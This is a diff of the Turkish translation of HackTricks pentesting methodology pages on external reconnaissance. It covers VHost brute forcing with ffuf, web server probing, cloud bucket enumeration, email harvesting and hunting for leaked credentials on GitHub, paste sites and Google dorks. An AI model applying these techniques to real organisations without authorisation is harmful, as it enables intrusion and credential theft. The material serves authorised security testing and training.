Eğer bir IP adresi bulduysanız ve bu IP adresi alt alan adlarına ait **bir veya birkaç web sayfası** içeriyorsa, bu IP'de **diğer alt alan adlarını bulmaya çalışabilirsiniz**. Bunun için, IP'deki **OSINT kaynaklarında** alan adları arayabilir veya o IP'deki **VHost alan adlarını brute force ile deneyebilirsiniz**. Eğer bir IP adresi bulduysanız ve bu IP adresi alt alan adlarına ait **bir veya birkaç web sayfası** içeriyorsa, bu IP'de **diğer alt alan adlarını bulmaya çalışabilirsiniz**. Bunun için, IP'deki **alan adlarını aramak için OSINT kaynaklarına** veya **o IP'deki VHost alan adlarını brute force ile aramaya** çalışabilirsiniz.
#### OSINT #### OSINT
Bazı **VHost'ları IP'lerde bulabilirsiniz** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **veya diğer API'ler kullanarak**. Bazı **VHost'ları IP'lerde bulabilirsiniz** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **veya diğer API'ler** kullanarak.
**Brute Force** **Brute Force**
Eğer bir alt alan adının bir web sunucusunda gizli olabileceğini düşünüyorsanız, bunu brute force ile deneyebilirsiniz: Eğer bir alt alan adının bir web sunucusunda gizli olabileceğinden şüpheleniyorsanız, bunu brute force ile deneyebilirsiniz:
```bash ```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -461,8 +456,8 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
``` ```
### **Kovalama Yöntemleri** ### **Kovalama Yöntemleri**
**Alt alan adları** ararken, herhangi bir **kova**'ya **işaret edip etmediğini** kontrol edin ve bu durumda [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ **Alt alan adları** ararken, herhangi bir türde **bucket'a işaret edip etmediğini kontrol edin** ve bu durumda [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Ayrıca, bu noktada kapsamdaki tüm alan adlarını bildiğinizden, [**muhtemel kova adlarını kaba kuvvet uygulayın ve izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/). Ayrıca, bu noktada kapsamdaki tüm alan adlarını bildiğinizden, [**muhtemel bucket adlarını kaba kuvvet uygulayın ve izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/) deneyin.
### **İzleme** ### **İzleme**
@ -470,18 +465,18 @@ Bir alan adının **yeni alt alan adlarının** oluşturulup oluşturulmadığı
### **Zaafiyet Arayışı** ### **Zaafiyet Arayışı**
Mümkün [**alt alan adı ele geçirmelerini**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) kontrol edin.\ Mümkün [**alt alan adı ele geçirmelerini kontrol edin**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Eğer **alt alan adı** bir **S3 kovasına işaret ediyorsa**, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/). Eğer **alt alan adı** bir **S3 bucket'a işaret ediyorsa**, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/).
Varlık keşfinde bulunduğunuz IP'lerden farklı bir IP'ye sahip **herhangi bir alt alan adı bulursanız**, temel bir **zayıflık taraması** yapmalısınız (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taraması**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığını bulabilir ve **bu kitapta onlara "saldırmak" için bazı püf noktaları bulabilirsiniz**.\ Varlıkların keşfinde bulunduğunuz IP'lerden farklı bir IP'ye sahip **herhangi bir alt alan adı bulursanız**, bir **temel zafiyet taraması** yapmalısınız (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taraması**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta onları "saldırmak" için bazı hileler bulabilirsiniz**.\
_Not: Bazı durumlarda alt alan adının, müşteri tarafından kontrol edilmeyen bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._ _Not: Bazı durumlarda alt alan adının, müşteri tarafından kontrol edilmeyen bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._
## IP'ler ## IP'ler
Başlangıç adımlarında **bazı IP aralıkları, alan adları ve alt alan adları bulmuş olabilirsiniz**.\ Başlangıç adımlarında **bazı IP aralıklarını, alan adlarını ve alt alan adlarını bulmuş olabilirsiniz**.\
Bu aralıklardan **tüm IP'leri ve alan adları/alt alan adlarını (DNS sorguları)** toplama zamanı geldi. Şimdi, bu aralıklardan **tüm IP'leri** ve **alan adları/alt alan adları (DNS sorguları)** toplama zamanı.
Aşağıdaki **ücretsiz api'lerin hizmetlerini kullanarak**, ayrıca **alan adları ve alt alan adları tarafından kullanılan önceki IP'leri** bulabilirsiniz. Bu IP'ler hala müşteriye ait olabilir (ve size [**CloudFlare atlatmaları**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) bulmanıza izin verebilir) Aşağıdaki **ücretsiz api'lerin hizmetlerini kullanarak**, ayrıca **alan adları ve alt alan adları tarafından kullanılan önceki IP'leri** bulabilirsiniz. Bu IP'ler hala müşteriye ait olabilir (ve [**CloudFlare atlamalarını**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) bulmanıza izin verebilir)
* [**https://securitytrails.com/**](https://securitytrails.com/) * [**https://securitytrails.com/**](https://securitytrails.com/)
@ -489,7 +484,7 @@ Ayrıca, [**hakip2host**](https://github.com/hakluke/hakip2host) aracını kulla
### **Zaafiyet Arayışı** ### **Zaafiyet Arayışı**
CDN'lere ait olmayan tüm IP'leri **port taraması yapın** (muhtemelen ilginç bir şey bulamayacaksınız). Keşfedilen çalışan hizmetlerde **zayıflıklar bulabilirsiniz**. CDN'lere ait olmayan tüm IP'leri **port taraması yapın** (muhtemelen ilginç bir şey bulamayacaksınız). Keşfedilen çalışan hizmetlerde **zafiyetler bulabilirsiniz**.
**Ana bilgisayarları nasıl taramanız gerektiği** hakkında bir [**kılavuz**](../pentesting-network/) **bulun.** **Ana bilgisayarları nasıl taramanız gerektiği** hakkında bir [**kılavuz**](../pentesting-network/) **bulun.**
@ -497,47 +492,47 @@ CDN'lere ait olmayan tüm IP'leri **port taraması yapın** (muhtemelen ilginç
> Tüm şirketleri ve varlıklarını bulduk ve IP aralıklarını, alan adlarını ve kapsamdaki alt alan adlarını biliyoruz. Artık web sunucularını aramak zamanı geldi. > Tüm şirketleri ve varlıklarını bulduk ve IP aralıklarını, alan adlarını ve kapsamdaki alt alan adlarını biliyoruz. Artık web sunucularını aramak zamanı geldi.
Önceki adımlarda muhtemelen keşfedilen IP'lerin ve alan adlarının **keşfini zaten yapmış olabilirsiniz**, bu nedenle muhtemelen **tüm olası web sunucuları zaten bulmuş olabilirsiniz**. Ancak, bulamadıysanız, şimdi kapsam içindeki web sunucularını aramak için **hızlı ipuçları** göreceğiz. Önceki adımlarda muhtemelen keşfedilen IP'lerin ve alan adlarının keşfini yapmış olabilirsiniz, bu nedenle **muhtemelen tüm olası web sunucuları** zaten bulmuş olabilirsiniz. Ancak, bulamadıysanız, şimdi kapsam içindeki web sunucularını aramak için bazı **hızlı ipuçları** göreceğiz.
Lütfen, bu **web uygulamaları keşfi için yönlendirilecektir**, bu nedenle **izin verildiği takdirde** **zayıflık** ve **port taraması** da yapmalısınız. Lütfen, bu **web uygulamaları keşfi için yönlendirilecektir**, bu nedenle **izin verildiği takdirde** **zafiyet** ve **port taraması** da yapmalısınız.
[**masscan ile ilişkili ık portları keşfetmek için hızlı bir yöntem burada bulunabilir**](../pentesting-network/#http-port-discovery).\ **Web** sunucularıyla ilgili **ık portları keşfetmek için hızlı bir yöntem** [**burada bulunabilir**](../pentesting-network/#http-port-discovery) **masscan** kullanarak.\
Başka bir dostça araç web sunucularını aramak için [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx) bulunmaktadır. Bir alan adları listesi geçirirsiniz ve 80 (http) ve 443 (https) bağlanmaya çalışır. Ayrıca, diğer portları denemek için belirtebilirsiniz: Başka bir dost araç web sunucularını aramak için [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx). Sadece bir alan adları listesi geçirin ve 80 (http) ve 443 (https) bağlanmaya çalışacaktır. Ayrıca, diğer portları denemek için belirtebilirsiniz:
```bash ```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
``` ```
### **Ekran Görüntüleri** ### **Ekran Görüntüleri**
Artık kapsamdaki **tüm web sunucularını** keşfettiğinize göre (şirketin **IP'leri** ve tüm **alan adları** ve **alt alan adları** arasında) muhtemelen **nereden başlayacağınızı bilmiyorsunuzdur**. Bu yüzden, basit tutarak hepsinin ekran görüntülerini almaya başlayalım. **Ana sayfaya** bir göz atarak daha **garip** uç noktalar bulabilir ve bunların daha **savunmasız** olma olasılığı daha yüksektir. Artık kapsamdaki **tüm web sunucularını** keşfettiğinize göre (şirketin **IP'leri** ve tüm **alan adları** ve **alt alan adları** arasında) muhtemelen **nereden başlayacağınızı bilmiyorsunuzdur**. Bu yüzden, basit tutarak hepsinin ekran görüntülerini almaya başlayalım. **Ana sayfaya** bir göz atarak daha **savunmasız** olma olasılığı daha yüksek olan **garip** uç noktaları bulabilirsiniz.
Önerilen fikri gerçekleştirmek için [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) veya [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**'ı** kullanabilirsiniz. Önerilen fikri gerçekleştirmek için [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) veya [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** kullanabilirsiniz.**
Ayrıca, daha sonra [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak tüm **ekran görüntülerini** çalıştırarak size **olası savunmasızlıklar içerdiğini** ve içermediğini söylemesini sağlayabilirsiniz. Ayrıca, daha sonra tüm **ekran görüntülerini** çalıştırmak için [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanabilirsiniz, size **olası savunmasızlıklar içerdiğini** ve içermediğini söyleyecektir.
## Genel Bulut Varlıkları ## Genel Bulut Varlıkları
Bir şirkete ait potansiyel bulut varlıklarını bulmak için o şirketi tanımlayan anahtar kelimeler listesiyle başlamalısınız. Örneğin, bir kripto şirketi için "kripto", "cüzdan", "dao", "<alan_adı>", <"altalan_adılar"> gibi kelimeler kullanabilirsiniz. Bir şirkete ait potansiyel bulut varlıklarını bulmak için o şirketi tanımlayan kelimeler listesiyle başlamalısınız. Örneğin, bir kripto şirketi için "kripto", "cüzdan", "dao", "<alan_adı>", <"altalan_adılar"> gibi kelimeler kullanabilirsiniz.
Ayrıca, **kova**larda kullanılan yaygın kelimelerin listelerine ihtiyacınız olacak: Ayrıca, **kova**larda kullanılan **ortak kelimelerin** listelerine ihtiyacınız olacak:
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) * [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) * [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
Ardından, bu kelimelerle **permutasyonlar** oluşturmalısınız (daha fazla bilgi için [**İkinci Tur DNS Kaba Kuvvet**](./#second-dns-bruteforce-round)'e bakın). Daha sonra, bu kelimelerle **permutasyonlar** oluşturmalısınız (daha fazla bilgi için [**İkinci Tur DNS Kaba Kuvvet**](./#second-dns-bruteforce-round) kontrol edin).
Elde edilen kelime listeleriyle [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) veya [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz. Elde edilen kelime listeleriyle [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) veya [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz.**
Bulut Varlıklarını ararken **AWS'deki kovalardan daha fazlasını aramalısınız**. Bulut Varlıklarını ararken **AWS'deki kovalardan daha fazlasını** aramalısınız.
### **Savunmasızlıkları Arama** ### **Savunmasızlıkları Arama**
**Açık kovalar veya açık bulut fonksiyonları gibi şeyler bulursanız**, onlara **erişmeli** ve size ne sunduklarını ve bunları kötüye kullanıp kullanamayacağınızı görmelisiniz. **Açık kovalar veya açığa çıkarılan bulut işlevleri** gibi şeyler bulursanız, onlara **erişmeli** ve size ne sunduklarını ve bunları kötüye kullanıp kullanamayacağınızı görmelisiniz.
## E-postalar ## E-postalar
Kapsamdaki **alan adları** ve **alt alan adları** ile temelde **e-posta aramaya başlamak için ihtiyacınız olan her şeye sahipsiniz**. Bir şirketin e-postalarını bulmak için benim için en iyi çalışan **API'ler** ve **araçlar** şunlardır: Kapsamdaki **alan adları** ve **alt alan adları** ile temelde e-posta aramaya başlamak için ihtiyacınız olan her şeye sahipsiniz. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır:
* [**theHarvester**](https://github.com/laramies/theHarvester) - API'lerle * [**theHarvester**](https://github.com/laramies/theHarvester) - API'lerle
* [**https://hunter.io/**](https://hunter.io/) (ücretsiz sürüm) API'si * [**https://hunter.io/**](https://hunter.io/) (ücretsiz sürüm) API'si
@ -557,33 +552,41 @@ E-postalar daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (ö
### **Savunmasızlıkları Arama** ### **Savunmasızlıkları Arama**
Eğer **geçerli sızdırılmış** kimlik bilgileri bulursanız, bu çok kolay bir kazanç olacaktır. Eğer **geçerli sızdırılmış** kimlik bilgileri bulursanız, bu çok kolay bir kazançtır.
## Sırların Sızıntıları ## Sırların Sızıntıları
Kimlik bilgisi sızıntıları, **duyarlı bilgilerin sızdırıldığı ve satıldığı** şirket hack'leri ile ilgilidir. Ancak, şirketler, o veritabanlarında olmayan başka sızıntılardan da etkilenebilir: Kimlik bilgisi sızıntıları, **duyarlı bilgilerin sızdırıldığı ve satıldığı** şirketlerin hack'lenmesiyle ilgilidir. Ancak, şirketlerin **o veritabanlarında olmayan başka sızıntılardan** etkilenebileceğini unutmamalısınız:
### Github Sızıntıları ### Github Sızıntıları
Kimlik bilgileri ve API'lar, **şirketin** veya **github şirketi tarafından çalışan kullanıcıların** **genel depolarında** sızdırılmış olabilir.\ Kimlik bilgileri ve API'lar **şirketin** veya o github şirketi tarafından çalışan **kullanıcıların** **genel depolarında** sızdırılmış olabilir.\
[**Leakos**](https://github.com/carlospolop/Leakos) aracını kullanarak bir **kuruluşun** ve **geliştiricilerinin** tüm **genel depolarını indirip** otomatik olarak üzerlerinde [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz. [**Leakos**](https://github.com/carlospolop/Leakos) aracını kullanarak bir **kuruluşun** ve **geliştiricilerinin** tüm **genel depolarını indirip** üzerlerinde otomatik olarak [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz.
**Leakos**, bazen **web sayfaları da sırlar içerdiği için** onlara geçirilen **URL'leri çalıştırmak** için de kullanılabilir. **Leakos**, bazen **web sayfaları da sırlar içerdiği için** onlara geçirilen **URL'leri** çalıştırmak için de kullanılabilir.
#### Github Dorks #### Github Dorks
Saldırganlar veya çalışanlar bazen **şirket içeriğini bir yapıştırma sitesinde yayınlarlar**. Bu **duyarlı bilgileri** içerebilir veya içermeyebilir, ancak aramak çok ilginç olacaktır.\ Saldırıya uğradığınız kuruluşta arayabileceğiniz potansiyel **github dorks** için bu **sayfayı** da kontrol edin:
{% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md)
{% endcontent-ref %}
### Yapıştır Sızıntıları
Bazen saldırganlar veya sadece çalışanlar **şirket içeriğini yapıştırma sitesinde yayınlayabilir**. Bu **duyarlı bilgileri** içerebilir veya içermeyebilir, ancak aramak çok ilginç olacaktır.\
[**Pastos**](https://github.com/carlospolop/Pastos) aracını kullanarak aynı anda 80'den fazla yapıştırma sitesinde arama yapabilirsiniz. [**Pastos**](https://github.com/carlospolop/Pastos) aracını kullanarak aynı anda 80'den fazla yapıştırma sitesinde arama yapabilirsiniz.
### Google Dorks ### Google Dorks
Eski ama altın google dorks her zaman **orada olmamaları gereken bilgileri bulmak** için kullanışlıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)'in çalıştıramayacağınız birkaç bin olası sorgu içermesidir. Bu yüzden favori 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç kullanabilirsiniz**. Eski ama altın google dorks her zaman **orada olmamalı olan açık bilgileri** bulmak için kullanışlıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)'nin çalıştıramayacağınız birkaç bin olası sorgu içermesidir. Bu nedenle, favori 10'unuzu alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç kullanabilirsiniz.**
_Not: Google tarayıcısını kullanarak tüm veritabanını çalıştırmayı bekleyen araçlar çok kısa sürede engellenecektir._ _Not: Google tarayıcısını kullanarak tüm veritabanını çalıştırmayı bekleyen araçlar çok uzun sürecek ve google sizi çok kısa sürede engelleyecektir._
### **Savunmasızlıkları Arama** ### **Savunmasızlıkları Arama**
Eğer **geçerli sızdırılmış** kimlik bilgileri veya API belirteçleri bulursanız, bu çok kolay bir kazanç olacaktır. Eğer **geçerli sızdırılmış** kimlik bilgileri veya API belirteçleri bulursanız, bu çok kolay bir kazançtır.
## Genel Kod Güvenlik Açıkları ## Genel Kod Güvenlik Açıkları
@ -598,27 +601,27 @@ Eğer **geçerli sızdırılmış** kimlik bilgileri veya API belirteçleri bulu
Ayrıca, şunun gibi ücretsiz hizmetlerle **genel depoları tarayabilirsiniz**: Ayrıca, şunun gibi ücretsiz hizmetlerle **genel depoları tarayabilirsiniz**:
* [**Snyk**](https://app.snyk.io/) * [**Snyk**](https://app.snyk.io/)
## [**Web Sızma Testi Metodolojisi**](../../network-services-pentesting/pentesting-web/) ## [**Web Uygulama Test Metodolojisi**](../../network-services-pentesting/pentesting-web/)
**Hata avcıları** tarafından bulunan **çoğu zayıflık**, **web uygulamalarının** içinde bulunur, bu noktada **bir web uygulaması testi metodolojisi** hakkında konuşmak istiyorum ve [**bu bilgiyi burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/). **Hata avcıları** tarafından bulunan **çoğu zayıflık**, **web uygulamalarında** bulunur, bu nedenle bu noktada bir **web uygulama test metodolojisi** hakkında konuşmak istiyorum ve [**bu bilgiyi burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/).
Ayrıca, [**Web Otomatik Tarama ık kaynaklı araçları**](../../network-services-pentesting/pentesting-web/#automatic-scanners) bölümüne özel bir vurgu yapmak istiyorum, çünkü çok hassas zayıflıkları bulmalarını beklememelisiniz, ancak **bazı başlangıç web bilgilerini elde etmek için iş akışlarına uygulamak için faydalıdırlar.** Ayrıca, [**Web Otomatik Tarama ık Kaynaklı Araçlar**](../../network-services-pentesting/pentesting-web/#automatic-scanners) bölümüne özel bir vurgu yapmak istiyorum, çünkü çok hassas zayıflıkları bulmalarını beklememelisiniz, ancak **bazı başlangıç web bilgilerini elde etmek için iş akışlarına uygulamak için faydalıdırlar.**
## Özet ## Özet
> Tebrikler! Bu noktada **tüm temel numaralandırmayı** zaten gerçekleştirdiniz. Evet, temel çünkü daha fazla numaralandırma yapılabilir (daha sonra daha fazla hile göreceğiz). > Tebrikler! Bu noktada zaten **tüm temel numaralandırmayı** gerçekleştirdiniz. Evet, temel çünkü daha fazla numaralandırma yapılabilir (daha sonra daha fazla hile göreceğiz).
Şimdiye kadar şunları yaptınız: Şimdiye kadar şunları yaptınız:
1. Kapsam içindeki **tüm şirketleri** buldunuz 1. Kapsam içindeki **tüm şirketleri** buldunuz
2. Şirketlere ait **tüm varlıkları** buldunuz (ve kapsam içindeyse bazı zayıflık taraması yaptınız) 2. Şirketlere ait **tüm varlıkları** buldunuz (ve kapsam içindeyse bazı zayıflık taraması yaptınız)
3. Şirketlere ait **tüm alan adlarını** buldunuz 3. Şirketlere ait **tüm alan adlarını** buldunuz
4. Alan adlarının **tüm alt alanlarını** buldunuz (herhangi bir alt alan ele geçirme?) 4. Alan adlarına ait **tüm alt alan adlarını** buldunuz (herhangi bir alt alan adı ele geçirme?)
5. Kapsam içindeki **CDN'lerden ve olmayan IP'leri** buldunuz. 5. Kapsam içindeki **CDN'lerden ve olmayan IP'leri** buldunuz.
6. **Web sunucularını** buldunuz ve onların **ekran görüntüsünü** aldınız (derinlemesine bakmaya değer garip bir şey var mı?) 6. **Web sunucularını** buldunuz ve onların **ekran görüntüsünü** aldınız (derinlemesine bakmaya değer garip bir şey var mı?)
7. Şirkete ait **potansiyel halka açık bulut varlıklarını** buldunuz. 7. Şirkete ait **potansiyel halka açık bulut varlıklarını** buldunuz.
8. Size **kolayca büyük bir kazanç sağlayabilecek** **e-postaları**, **kimlik bilgileri sızıntılarını** ve **gizli sızıntıları** buldunuz. 8. Size **kolayca büyük bir kazanç sağlayabilecek** **e-postaları**, **kimlik bilgileri sızıntılarını** ve **gizli sızıntıları** buldunuz.
9. Bulduğunuz tüm web sitelerini **sızdırdınız** 9. Bulduğunuz tüm web sitelerini **pentest ettiniz**
## **Tam Kapsamlı Otomatik Araçlar** ## **Tam Kapsamlı Otomatik Araçlar**
@ -631,9 +634,9 @@ Belirli bir kapsam karşısında önerilen eylemlerin bir kısmını gerçekleş
## **Referanslar** ## **Referanslar**
* [**@Jhaddix**](https://twitter.com/Jhaddix) tarafından sunulan tüm ücretsiz kurslar, örneğin [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) * [**@Jhaddix**](https://twitter.com/Jhaddix)'in tüm ücretsiz kurslarına göz atın, örneğin [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_). Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
@ -645,10 +648,10 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.
* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek destek olun. * **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek katkıda bulunun.
</details> </details>

View file

@ -10,13 +10,13 @@ HackTricks'ı desteklemenin diğer yolları:
* [**Resmi PEASS & HackTricks ürünlerini edinin**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini edinin**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details> </details>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve konuşma gereklidir_). Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -41,11 +41,11 @@ Dışsal bir test gerçekleştiriyorsanız, şirketin iç ağına erişmeyi baş
### **2-** [**Ağla Eğlenmek**](pentesting-network/) **(İçsel)** ### **2-** [**Ağla Eğlenmek**](pentesting-network/) **(İçsel)**
**Bu bölüm yalnızca içsel bir test gerçekleştiriyorsanız geçerlidir.**\ **Bu bölüm yalnızca içsel bir test gerçekleştiriyorsanız geçerlidir.**\
Bir ana bilgisayara saldırmadan önce belki de **ağdan bazı kimlik bilgileri çalmayı** veya ağ içinde ne bulabileceğinizi **pasif/aktif (MitM)** öğrenmek için bazı **verileri** **sızdırmayı** tercih edersiniz. [**Ağın Pentest Edilmesi**](pentesting-network/#sniffing) bölümünü okuyabilirsiniz. Bir ana bilgisayara saldırmadan önce belki de **ağdan bazı kimlik bilgileri çalmayı** tercih edersiniz veya ağ içinde ne bulabileceğinizi **pasif/aktif (MitM)** öğrenmek için bazı **verileri** **sızdırmak** isteyebilirsiniz. [**Pentesting Network**](pentesting-network/#sniffing)'ü okuyabilirsiniz.
### 3- [Port Taraması - Servis keşfi](pentesting-network/#scanning-hosts) ### 3- [Port Taraması - Servis keşfi](pentesting-network/#scanning-hosts)
